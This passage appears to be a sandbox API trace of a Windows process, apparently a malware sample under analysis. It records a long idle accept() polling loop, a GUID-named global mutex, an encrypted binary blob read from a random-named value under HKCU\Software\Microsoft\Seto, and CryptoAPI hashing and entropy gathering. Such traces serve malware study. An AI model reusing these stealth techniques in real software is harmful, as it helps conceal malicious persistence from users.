s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.282] Sleep (dwMilliseconds=0xa) [0131.297] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.313] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.313] Sleep (dwMilliseconds=0xa) [0131.329] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.344] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.344] Sleep (dwMilliseconds=0xa) [0131.360] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.375] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.375] Sleep (dwMilliseconds=0xa) [0131.391] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.407] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.407] Sleep (dwMilliseconds=0xa) [0131.422] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.438] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.439] Sleep (dwMilliseconds=0xa) [0131.453] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.469] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.469] Sleep (dwMilliseconds=0xa) [0131.484] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.500] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.500] Sleep (dwMilliseconds=0xa) [0131.516] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.531] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.531] Sleep (dwMilliseconds=0xa) [0131.547] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.563] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.563] Sleep (dwMilliseconds=0xa) [0131.578] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.609] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.609] Sleep (dwMilliseconds=0xa) [0131.609] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.625] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.625] Sleep (dwMilliseconds=0xa) [0131.640] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.656] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.656] Sleep (dwMilliseconds=0xa) [0131.672] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.688] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.688] Sleep (dwMilliseconds=0xa) [0131.703] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.718] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.718] Sleep (dwMilliseconds=0xa) [0131.734] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.750] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.750] Sleep (dwMilliseconds=0xa) [0131.765] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.791] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.791] Sleep (dwMilliseconds=0xa) [0131.796] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.827] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.827] Sleep (dwMilliseconds=0xa) [0131.828] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.844] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.844] Sleep (dwMilliseconds=0xa) [0131.859] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.874] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.874] Sleep (dwMilliseconds=0xa) [0131.890] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.906] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.906] Sleep (dwMilliseconds=0xa) [0131.922] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.942] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.942] Sleep (dwMilliseconds=0xa) [0131.952] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0131.999] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0131.999] Sleep (dwMilliseconds=0xa) [0132.030] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.030] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.031] Sleep (dwMilliseconds=0xa) [0132.046] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.062] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.063] Sleep (dwMilliseconds=0xa) [0132.077] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.094] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.094] Sleep (dwMilliseconds=0xa) [0132.108] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.124] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.124] Sleep (dwMilliseconds=0xa) [0132.140] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.155] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.155] Sleep (dwMilliseconds=0xa) [0132.171] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.187] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.187] Sleep (dwMilliseconds=0xa) [0132.202] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.218] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.218] Sleep (dwMilliseconds=0xa) [0132.233] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.249] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.249] Sleep (dwMilliseconds=0xa) [0132.264] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.295] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.295] Sleep (dwMilliseconds=0xa) [0132.296] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.311] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.311] Sleep (dwMilliseconds=0xa) [0132.327] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.343] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.343] Sleep (dwMilliseconds=0xa) [0132.358] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.374] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.374] Sleep (dwMilliseconds=0xa) [0132.389] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.405] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.405] Sleep (dwMilliseconds=0xa) [0132.420] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.437] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.437] Sleep (dwMilliseconds=0xa) [0132.452] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.467] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.467] Sleep (dwMilliseconds=0xa) [0132.483] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.499] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.499] Sleep (dwMilliseconds=0xa) [0132.514] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.530] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.530] Sleep (dwMilliseconds=0xa) [0132.545] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.561] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.561] Sleep (dwMilliseconds=0xa) [0132.576] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.592] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.592] Sleep (dwMilliseconds=0xa) [0132.608] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.639] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.639] Sleep (dwMilliseconds=0xa) [0132.656] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.670] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.670] Sleep (dwMilliseconds=0xa) [0132.686] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.701] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.701] Sleep (dwMilliseconds=0xa) [0132.717] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.732] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.732] Sleep (dwMilliseconds=0xa) [0132.748] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.764] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.764] Sleep (dwMilliseconds=0xa) [0132.779] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.805] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.805] Sleep (dwMilliseconds=0xa) [0132.810] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.826] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.826] Sleep (dwMilliseconds=0xa) [0132.842] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.857] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.857] Sleep (dwMilliseconds=0xa) [0132.873] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.890] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.890] Sleep (dwMilliseconds=0xa) [0132.904] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.920] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.920] Sleep (dwMilliseconds=0xa) [0132.946] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.951] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.951] Sleep (dwMilliseconds=0xa) [0132.966] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0132.998] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0132.998] Sleep (dwMilliseconds=0xa) [0133.014] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.076] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.076] Sleep (dwMilliseconds=0xa) [0133.104] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.123] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.123] Sleep (dwMilliseconds=0xa) [0133.138] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.154] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.154] Sleep (dwMilliseconds=0xa) [0133.169] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.185] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.185] Sleep (dwMilliseconds=0xa) [0133.201] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.216] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.216] Sleep (dwMilliseconds=0xa) [0133.232] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.249] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.249] Sleep (dwMilliseconds=0xa) [0133.263] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.279] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.279] Sleep (dwMilliseconds=0xa) [0133.294] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.310] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.310] Sleep (dwMilliseconds=0xa) [0133.325] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.356] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.356] Sleep (dwMilliseconds=0xa) [0133.357] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.372] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.372] Sleep (dwMilliseconds=0xa) [0133.388] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.404] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.404] Sleep (dwMilliseconds=0xa) [0133.419] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.435] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.435] Sleep (dwMilliseconds=0xa) [0133.450] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.466] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.466] Sleep (dwMilliseconds=0xa) [0133.481] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.497] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.497] Sleep (dwMilliseconds=0xa) [0133.513] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.528] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.528] Sleep (dwMilliseconds=0xa) [0133.544] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.559] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.559] Sleep (dwMilliseconds=0xa) [0133.575] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.590] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.590] Sleep (dwMilliseconds=0xa) [0133.606] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.622] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.622] Sleep (dwMilliseconds=0xa) [0133.637] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.653] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.653] Sleep (dwMilliseconds=0xa) [0133.668] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.699] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.699] Sleep (dwMilliseconds=0xa) [0133.700] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.715] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.716] Sleep (dwMilliseconds=0xa) [0133.731] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.746] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.747] Sleep (dwMilliseconds=0xa) [0133.762] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.778] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.778] Sleep (dwMilliseconds=0xa) [0133.794] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.820] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.820] Sleep (dwMilliseconds=0xa) [0133.824] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.863] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.863] Sleep (dwMilliseconds=0xa) [0133.871] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.887] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.887] Sleep (dwMilliseconds=0xa) [0133.902] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0133.938] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0133.938] Sleep (dwMilliseconds=0xa) Thread: id = 159 os_tid = 0x9c8 [0112.118] StringFromGUID2 (in: rguid=0x265f170*(Data1=0x86709c2f, Data2=0x2fc5, Data3=0x3c40, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x265f8e6, cchMax=40 | out: lpsz="{86709C2F-2FC5-3C40-65D9-FE61A0417768}") returned 39 [0112.118] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{86709C2F-2FC5-3C40-65D9-FE61A0417768}") returned 0x164 [0112.118] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xffffffff) returned 0x0 [0112.119] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265f5c0, cbMultiByte=4, lpWideCharStr=0x333e9e, cchWideChar=10 | out: lpWideCharStr="Setozyzuz") returned 4 [0112.132] PathCombineW (in: pszDest=0x333e3c, pszDir="Software\\Microsoft", pszFile="Seto" | out: pszDest="Software\\Microsoft\\Seto") returned="Software\\Microsoft\\Seto" [0112.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265f5d4, cbMultiByte=9, lpWideCharStr=0x333e9e, cchWideChar=10 | out: lpWideCharStr="Yqlozyzuz") returned 9 [0112.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x265f5ec | out: phkResult=0x265f5ec*=0x180) returned 0x0 [0112.132] RegQueryValueExW (in: hKey=0x180, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x265f8b8, lpData=0x0, lpcbData=0x265f5e8*=0x0 | out: lpType=0x265f8b8*=0x3, lpData=0x0, lpcbData=0x265f5e8*=0x5a5) returned 0x0 [0112.132] RegQueryValueExW (in: hKey=0x180, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x265f8b8, lpData=0x84c4c8, lpcbData=0x265f5e8*=0x5a5 | out: lpType=0x265f8b8*=0x3, lpData=0x84c4c8*, lpcbData=0x265f5e8*=0x5a5) returned 0x0 [0112.133] RegCloseKey (hKey=0x180) returned 0x0 [0112.133] CryptAcquireContextW (in: phProv=0x265f468, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x265f468*=0x8412e8) returned 1 [0112.133] CryptCreateHash (in: hProv=0x8412e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x265f464 | out: phHash=0x265f464) returned 1 [0112.133] CryptHashData (hHash=0x868fa0, pbData=0x84c4f8, dwDataLen=0x575, dwFlags=0x0) returned 1 [0112.133] CryptGetHashParam (in: hHash=0x868fa0, dwParam=0x2, pbData=0x265f490, pdwDataLen=0x265f460, dwFlags=0x0 | out: pbData=0x265f490, pdwDataLen=0x265f460) returned 1 [0112.133] CryptDestroyHash (hHash=0x868fa0) returned 1 [0112.133] CryptReleaseContext (hProv=0x8412e8, dwFlags=0x0) returned 1 [0112.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x395c02d0, dwHighDateTime=0x1d31ac1)) [0112.134] GetCurrentThreadId () returned 0x9c8 [0112.134] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77280000 [0112.134] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75dc0000 [0112.134] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x749d0000 [0112.140] GetProcAddress (hModule=0x749d0000, lpProcName="NetStatisticsGet") returned 0x749d644f [0112.140] GetProcAddress (hModule=0x749d0000, lpProcName="NetApiBufferFree") returned 0x749c13d2 [0112.140] NetStatisticsGet (in: ServerName=0x0, Service=0x301d90, Level=0x0, Options=0x0, Buffer=0x265e2bc | out: Buffer=0x265e2bc) returned 0x0 [0112.145] GetCurrentThreadId () returned 0x9c8 [0112.145] NetApiBufferFree (Buffer=0x852728) returned 0x0 [0112.145] NetStatisticsGet (in: ServerName=0x0, Service=0x301db4, Level=0x0, Options=0x0, Buffer=0x265e2bc | out: Buffer=0x265e2bc) returned 0x0 [0112.146] GetCurrentThreadId () returned 0x9c8 [0112.146] NetApiBufferFree (Buffer=0x84ec50) returned 0x0 [0112.146] FreeLibrary (hLibModule=0x749d0000) returned 1 [0112.148] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0112.148] GetProcAddress (hModule=0x77280000, lpProcName="CryptGenRandom") returned 0x7728dfc8 [0112.148] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0112.148] CryptAcquireContextW (in: phProv=0x265e2a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x265e2a8*=0x84ec50) returned 1 [0112.149] CryptGenRandom (in: hProv=0x84ec50, dwLen=0x40, pbBuffer=0x265e674 | out: pbBuffer=0x265e674) returned 1 [0112.149] GetCurrentThreadId () returned 0x9c8 [0112.149] CryptReleaseContext (hProv=0x84ec50, dwFlags=0x0) returned 1 [0112.149] CryptAcquireContextW (in: phProv=0x265e2a8, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x265e2a8*=0x84ec50) returned 0 [0112.149] FreeLibrary (hLibModule=0x77280000) returned 1 [0112.149] GetVersion () returned 0x1db10106 [0112.149] GetModuleHandleA (lpModuleName=0x0) returned 0x5f0000 [0112.149] GetProcAddress (hModule=0x5f0000, lpProcName="_OPENSSL_isservice") returned 0x0 [0112.149] GetProcessWindowStation () returned 0x5c [0112.149] GetUserObjectInformationW (in: hObj=0x5c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x265e230 | out: pvInfo=0x0, lpnLengthNeeded=0x265e230) returned 0 [0112.149] GetLastError () returned 0x7a [0112.149] GetUserObjectInformationW (in: hObj=0x5c, nIndex=2, pvInfo=0x265e210, nLength=0x10, lpnLengthNeeded=0x265e230 | out: pvInfo=0x265e210, lpnLengthNeeded=0x265e230) returned 1 [0112.149] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x757e0000 [0112.150] GetProcAddress (hModule=0x757e0000, lpProcName="GetForegroundWindow") returned 0x75802320 [0112.150] GetProcAddress (hModule=0x757e0000, lpProcName="GetCursorInfo") returned 0x7585812f [0112.150] GetProcAddress (hModule=0x757e0000, lpProcName="GetQueueStatus") returned 0x75803924 [0112.150] GetForegroundWindow () returned 0x101a0 [0112.150] GetCurrentThreadId () returned 0x9c8 [0112.150] GetVersion () returned 0x1db10106 [0112.150] GetVersion () returned 0x1db10106 [0112.150] GetCursorInfo (in: pci=0x265e660 | out: pci=0x265e660) returned 1 [0112.150] GetQueueStatus (flags=0xbf) returned 0x0 [0112.150] GetCurrentThreadId () returned 